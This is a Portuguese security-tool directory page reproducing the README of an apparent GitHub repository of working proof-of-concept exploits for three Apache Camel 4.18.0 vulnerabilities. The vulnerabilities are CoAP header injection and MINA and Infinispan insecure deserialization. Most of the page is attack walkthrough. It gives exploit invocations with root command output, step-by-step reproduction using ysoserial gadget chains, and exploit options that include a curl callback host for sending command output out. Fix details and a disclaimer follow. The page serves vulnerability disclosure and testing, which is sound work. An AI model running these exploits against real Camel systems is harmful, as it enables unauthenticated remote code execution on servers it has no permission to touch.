Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/dinosn/cve-2026-33453
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed TeamingExploração de Binários
GitHubdinosn/cve-2026-33453

CVE-2026-33453

Fornece exploits de prova de conceito funcionais e análise detalhada para três vulnerabilidades críticas do Apache Camel, incluindo injeção de cabeçalho CoAP e desserialização insegura que levam à execução remota de código.

Ver Repositório
há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Apache Camel 4.18.0 — Avaliação de Segurança CVE

Três vulnerabilidades críticas no Apache Camel 4.18.0, descobertas e validadas de forma independente com provas de conceito funcionais.

CVEComponenteTipoCVSSVeredito
CVE-2026-33453camel-coapInjeção de Cabeçalho → RCE10.0 CríticoExplorável
CVE-2026-40473camel-minaDesserialização Insegura → RCE9.8 CríticoExplorável
CVE-2026-40858camel-infinispanDesserialização Insegura8.8 AltoExplorável

CVE-2026-33453: Injeção de Cabeçalho CoAP → Execução Remota de Código

Componente: camel-coap — CamelCoapResource.java:103-109 CWE: CWE-915 (Modificação Controlada de Forma Incorreta de Atributos de Objetos) Corrigido em: Camel 4.18.1 / 4.14.6

Causa Raiz

CamelCoapResource.handleRequest() mapeia parâmetros de consulta URI CoAP diretamente nos cabeçalhos do Camel Exchange via setHeader() sem HeaderFilterStrategy. CoAPEndpoint estende DefaultEndpoint em vez de DefaultHeaderFilterStrategyEndpoint, portanto cabeçalhos internos com prefixo Camel* podem ser injetados por qualquer cliente não autenticado.

Quando a rota encaminha para camel-exec, os cabeçalhos controlados pelo atacante CamelExecCommandExecutable e CamelExecCommandArgs sobrescrevem o comando configurado, alcançando RCE pré-autenticado via um único pacote UDP.

root@kitploit:~
// CamelCoapResource.java:103-109 — SEM HeaderFilterStrategy
for (String s : options.getUriQuery()) {
    int i = s.indexOf('=');
    if (i == -1) {
        camelExchange.getIn().setHeader(s, "");
    } else {
        camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
    }
}

Resultado do PoC

PoC RCE CoAP

root@kitploit:~
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] Resposta: 2.05
[+] Saída do comando: cf6ee154412e

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] Saída do comando: app bin boot dev etc home lib ...

CVE-2026-40473: Desserialização Insegura MINA → Execução Remota de Código

Componente: camel-mina — MinaConverter.java:60-63 CWE: CWE-502 (Desserialização de Dados Não Confiáveis) Corrigido em: Camel 4.18.2 / 4.14.6 / 4.20.0

Causa Raiz

MinaConverter.toObjectInput(IoBuffer) cria um java.io.ObjectInputStream bruto sem ObjectInputFilter. Quando um endpoint MINA é configurado com allowDefaultCodec=false, dados TCP brutos chegam como um IoBuffer e alcançam o conversor de tipos do Camel, que chama este método — envolvendo bytes de rede controlados pelo atacante em um ObjectInputStream sem filtro.

root@kitploit:~
// MinaConverter.java:60-63 — SEM ObjectInputFilter
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
    InputStream is = toInputStream(buffer);
    return new ObjectInputStream(is);  // bytes controlados pelo atacante, SEM FILTRO
}

Caminho de ataque: O exploit visa um endpoint TCP MINA com allowDefaultCodec=false (porta 9879 no PoC). Isso contorna completamente a camada de codec do MINA — a ObjectSerializationCodecFactory tem sua própria lista de permissões ClassNameMatcher que, de outra forma, bloquearia classes arbitrárias. Com o codec desabilitado, bytes brutos fluem diretamente para MinaConverter.toObjectInput() que cria um ObjectInputStream padrão com zero filtragem de classes.

Uma cadeia de gadgets CommonsCollections6 (via ysoserial) alcança execução arbitrária de comandos como root. A saída do comando é exfiltrada via um callback curl para o atacante.

Resultado do PoC

PoC RCE MINA

root@kitploit:~
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] Saída do comando:
    uid=0(root) gid=0(root) groups=0(root)
[+] CONFIRMADO: CVE-2026-40473 RCE — comando executado via desserialização

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] Saída do comando:
    Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar  8 14:41:59 UTC 2026 aarch64 GNU/Linux

Reproduzindo CVE-2026-40473 Passo a Passo

Pré-requisitos

  • Docker e Docker Compose
  • Python 3.8+
  • Java 17+ (para ysoserial)
  • ysoserial — ysoserial-all.jar (gadget CommonsCollections6)

Passo 1: Construir e Iniciar o Servidor Vulnerável

root@kitploit:~
cd poc/
docker compose up -d --build

Aguarde o contêiner iniciar e verifique:

root@kitploit:~
docker logs vuln-camel-mina

Você deve ver:

Configuração MINA

root@kitploit:~
[*] Servidor MINA vulnerável iniciado
[*] Porta 9877: endpoint transferExchange (desserialização Java)
[*] Porta 9878: endpoint codec de serialização de objetos
[*] Porta 9879: endpoint TCP bruto (MinaConverter.toObjectInput)
[*] Aguardando conexões...

A porta 9879 é o alvo — ela usa allowDefaultCodec=false, que desabilita o filtro de codec do MINA e permite que IoBuffer bruto alcance o MinaConverter.toObjectInput() sem filtro do Camel.

Passo 2: Confirmar Desserialização (Modo Sonda)

Primeiro, verifique se o endpoint aceita e desserializa objetos Java arbitrários sem ObjectInputFilter:

root@kitploit:~
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

Sonda MINA

root@kitploit:~
[*] Modo sonda — confirmando desserialização (sem RCE)
[*] Payload: HashMap (82 bytes, bruto — sem frame MINA)
[+] Conectado ao endpoint MINA
[+] Payload enviado
[+] Dados alcançaram readObject() sem rejeição de filtro

A sonda envia um HashMap serializado. O servidor o desserializa via ObjectInputStream.readObject() sem InvalidClassException — confirmando zero filtragem de classes.

Passo 3: Executar Comandos (RCE Completo)

Com ysoserial disponível, explore a desserialização sem filtro para execução arbitrária de comandos:

root@kitploit:~
# Executar 'id' — retorna uid=0(root)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id

# Ler arquivos
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'

# Informações do sistema
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'

O exploit gera uma cadeia de gadgets CommonsCollections6, envia como bytes brutos para a porta 9879 e captura a saída do comando via um listener de callback curl.

Opções do Exploit

root@kitploit:~
usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
                                       [--gadget GADGET] [--probe] [--raw]
                                       target [port] [command]

  target           IP/hostname alvo
  port             Porta TCP MINA (padrão: 9879)
  command          Comando a executar (padrão: id)
  --ysoserial      Caminho para ysoserial.jar (auto-detectado se não definido)
  --callback-host  Host que o contêiner usa para alcançá-lo (padrão: host.docker.internal)
  --gadget         Cadeia de gadgets ysoserial (padrão: auto — tenta CC6, CC5, CC1)
  --probe          Apenas modo sonda — confirmar desserialização sem RCE
  --raw            Enviar payload bruto sem frame de 4 bytes MINA (auto-habilitado para porta 9879)

Nota: O --callback-host padrão é host.docker.internal (Docker Desktop). Se estiver executando no Linux sem Docker Desktop, use --callback-host 172.17.0.1 ou o IP da sua bridge Docker.

Passo 4: Limpeza

root@kitploit:~
cd poc/
docker compose down

CVE-2026-40858: Desserialização Insegura Infinispan

Componente: camel-infinispan — DefaultExchangeHolderUtils.java:46-53 CWE: CWE-502 (Desserialização de Dados Não Confiáveis) Corrigido em: Camel 4.18.2 / 4.14.7 / 4.20.0

Causa Raiz

DefaultExchangeHolderUtils.deserialize(byte[]) cria um ClassLoadingAwareObjectInputStream sem ObjectInputFilter. O DefaultExchangeHolderProtoAdapter roteia bytes de cache Infinispan diretamente para este método. Um atacante com acesso de escrita ao cache (porta Hot Rod 11222 ou API REST) injeta um payload serializado malicioso que é desserializado quando o repositório de agregação busca a chave.

Este é o mesmo padrão de vulnerabilidade que CVE-2024-22369, CVE-2024-23114 e CVE-2026-25747 — todas instâncias não corrigidas de readObject() sem ObjectInputFilter nos caminhos de desserialização do Camel.

root@kitploit:~
// DefaultExchangeHolderUtils.java:46-53 — SEM ObjectInputFilter
static DefaultExchangeHolder deserialize(byte[] bytes) {
    try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
         ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais)) {
        return (DefaultExchangeHolder) ois.readObject();  // controlado pelo atacante
    }
}

Código Vulnerável

Código Vulnerável Infinispan


Código Vulnerável Anotado

Código Vulnerável Anotado


Reproduzindo Todas as Três CVEs

Pré-requisitos

  • Docker e Docker Compose
  • Python 3.8+
  • Java 17+ (para ysoserial)
  • ysoserial para cadeias de gadgets RCE completas (CVE-2026-40473)

Construir e Executar

root@kitploit:~
cd poc/
docker compose up -d --build

Isso inicia:

  • vuln-camel-coap — endpoint CoAP na porta UDP 5683 com rota camel-exec
  • vuln-camel-mina — endpoints TCP MINA nas portas 9877 (transferExchange), 9878 (ObjectSerializationCodecFactory) e 9879 (TCP bruto — alvo principal de ataque)
  • infinispan — servidor Infinispan na porta 11222
  • vuln-camel-infinispan — repositório de agregação Camel apoiado por Infinispan

Executar Exploits

root@kitploit:~
# CVE-2026-33453: Injeção de Cabeçalho CoAP → RCE
python3 poc/exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'id'

# CVE-2026-40473: Desserialização Insegura MINA → RCE (veja instruções detalhadas acima)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id

# CVE-2026-40858: Desserialização Insegura Infinispan
python3 poc/exploits/exploit_cve_2026_40858_infinispan.py 127.0.0.1 11222

Limpeza

root@kitploit:~
cd poc/
docker compose down

Processo de Avaliação

Esta avaliação foi realizada usando o framework de pesquisa de segurança autônoma RAPTOR:

  1. Pesquisa — Identificou todas as 3 CVEs, cruzou commits de correção para determinar o Apache Camel 4.18.0 como a única versão vulnerável
  2. Aquisição de código-fonte — Baixou componentes vulneráveis via git sparse-checkout (camel-coap, camel-mina, camel-infinispan)
  3. Escaneamento (/scan) — Descoberta automatizada de vulnerabilidades em todos os 3 componentes
  4. Compreensão (/understand --map) — Mapeamento da superfície de ataque: pontos de entrada, limites de confiança, sinks, fluxos de dados não verificados
  5. Validação (/validate) — Pipeline completo de validação de explorabilidade em 8 estágios (Estágios 0 → A → B → C → D → E → F → 1) confirmando que todas as 3 descobertas são reais, alcançáveis e exploráveis
  6. Exploit (/exploit) — Desenvolvimento de PoC funcional com ambiente de teste baseado em Docker
  7. Documentação — Capturas de tela, relatório de exploit e este README

Correções

CVEVersão da CorreçãoAlteração
CVE-2026-334534.18.1 / 4.14.6CoAPEndpoint → estende DefaultHeaderFilterStrategyEndpoint; CoAPComponent → implementa HeaderFilterStrategyComponent
CVE-2026-404734.18.2 / 4.14.6 / 4.20.0Adicionado ObjectInputFilter.Config.createFilter("java.**;javax.**;org.apache.camel.**;!*") antes de readObject()
CVE-2026-408584.18.2 / 4.14.7 / 4.20.0Adicionada lista de permissões ObjectInputFilter (mesmo padrão); recorre ao filtro serial JVM se configurado

Aviso Legal

Esta pesquisa é para testes de segurança autorizados e fins educacionais apenas. Todos os exploits foram testados contra contêineres Docker construídos localmente executando software vulnerável. Atualize para as versões corrigidas listadas acima.

Baixar ferramenta